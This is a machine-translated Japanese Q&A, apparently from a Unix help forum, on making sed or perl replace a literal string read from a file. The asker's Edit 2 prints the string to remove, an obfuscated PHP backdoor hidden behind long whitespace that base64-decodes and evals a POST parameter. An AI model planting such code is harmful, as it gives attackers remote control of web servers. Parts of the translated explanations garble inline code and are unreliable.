ファイルからsedコマンドの針部分を読み取るには?

ファイルからsedコマンドの針部分を読み取るには?

ファイルの長い部分をsedに置き換えたいのですが、ファイルから長い部分を読みたいのですが。私はこれを見つけました:

sed -e '/<TEXT1>/{r File1' -e 'd}' File2

~からこここれは私が達成したいものと完全に反対です。次のように多くのことを試しましたが、すべて間違った結果を示します。

sed -e '/r needle.txt/replace' subject.txt

編集1

Needle.txtは正規表現ではなく、ASCII以外の多くの文字に置き換えたいテキストです。

編集2

私が作業している正確な文字列は次のとおりです。

<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n1509e9'];if(isset($s22)){eval($s21($s22));}?><?php

最後を大事にしたい<?php

答え1

ファイルの内容を次に渡す前に、シェルにファイルの内容を拡張させることができますsed

sed -e "s/$(cat needle.txt)/replace/" subject.txt

二重引用符の使用に注意してください。

これにより、sed正規表現メタ文字がneedle.txt正規表現ではなく正規表現メタ文字として解釈されます。needle.txt含まれている場合/

needle.txt行を文字通り解釈するには、次のようにすることができます。

perl -pe '
    BEGIN{ local $/; 
           open $IN,"<","needle.txt";
           $needle = <$IN>
    }
    s/\Q$needle/replace/
'  subject.txt

説明する

  • これらの-peスイッチは、ファイルの各行に1行ずつコードを適用しsubject.txt、処理後に各行を印刷することを意味します。
  • このBEGIN{}セクションは一度だけ実行されます。それがすることは、needle.txtファイルを開き、その内容をすべて$needle変数に保存することです。
  • s/\Q$needle/replace/予想したものと同じ構文です。ただし、Perlの正規表現エンジンに正規表現ではなく固定文字列で続くすべての項目を処理させるという点だけがsed異なります。\Q

答え2

sedeadは非常にユニークですr。パターンに一致する行に対してのみこれを行います。常にこれを行います。最後。行を更新する前にパターンが一致しなくなった場合、sedファイルから一致するパターンを読み取ることはできません。r少なくとも私はそれがうまくいくと思います。私はそれはかなり良いsedですが、rまだ時々混乱しています。

とにかく、必要なパターンでラインをフラッシュするようにするのがコツです。したがって、その行への出力は保証されますが、編集前にその出力を少なくとも1行だけ遅延させます。

これは比較的簡単に行えますN;P;D。これを一緒に行うと、sedラインカウンタが印刷されたラインより少なくとも1行前に配置されます。次の2つのファイルを考えてみましょう。

###file1
some string 1
some string 2
some other string
some string 4
some string 5

###file2
some other file

今私の目標は、交換を実行し、eadが依存するパターンを交換することですrそしてrコンテンツ印刷の準備今後変更が印刷されました。これが私がする方法です:

sed '$!N;s/other \(.*\)\(\n\)/\1 3\2/
     /\n.*other/r file2
     P;D' file1

出力

some string 1
some string 2
some other file
some string 3
some string 4
some string 5

私も別のfile2でこれを行い、印刷されました...

some string 1
some string 2
no trailing newline some string 3
some string 4
some string 5

私はこの動作の移植性についてかなり深い疑問を持っていますが、そのsed価値はGNUにあります。

いいですね。上記のコマンドは、sed印刷時に入力内容を1行進めます。N次の入力行をパターンスペースに追加し、パターンスペースの最初のewline文字をP印刷し、パターンスペースの最初のewline文字を削除して、残りの部分から再開します。したがって、各行は、私たちが見たときよりも1行遅れて印刷されることがわかります。つまり、入力に2行のウィンドウが表示されます。\nD\nsedsed

パターンマッチングeadは、ewline文字が発生したときにのみ一致しますr\n今後sed最初にプルすると、ループと一致しますN。私たちが見ることができないループにのみ一致します。

\n交換は、ewlineが発生した場合にのみ発生します。後ろにモード -P結局これが印刷される周期ですが、extラインをsedプルするとN、対応するラインバッファがフラッシュされ、ラインが増加するのでr印刷しますそれから交換が発生します。もちろん少し退屈ですが、私も同じです。

実際には、GNUについて言えば、sedそのような状況にはやや興味深いオプションがあります。

sed '/other/{x;s/.*/cat file2/e;G
     s/\(.*\)\n\(.* \)other \(.*\)/\1 \2\3 3/
}' file 

info sedあなたに言うでしょう...

  • e [COMMAND] このコマンドを使用すると、シェルコマンドの入力をパターンスペースにパイプできます。引数がない場合、 'e'コマンドはパターンスペース内のコマンドを実行し、パターンスペースを出力に置き換えます。

そこで私はまたいくつかのパターン空間の混合を行いました。コマンドを実行するために空のパターンスペースが必要だったため、未使用の予約スペースに切り替えました。しかし、行を更新する時間を考える必要がないので、理解しやすくなります。本質的にこれは異なる提案であり、sedターゲット読取りファイルに特殊文字が含まれているとエラーを生成しないという点でいくつかの利点があります。

ああ、ところで上記の内容は次のとおりです。

some string 1
some string 2
some other file some string 3
some string 4
some string 5

関連情報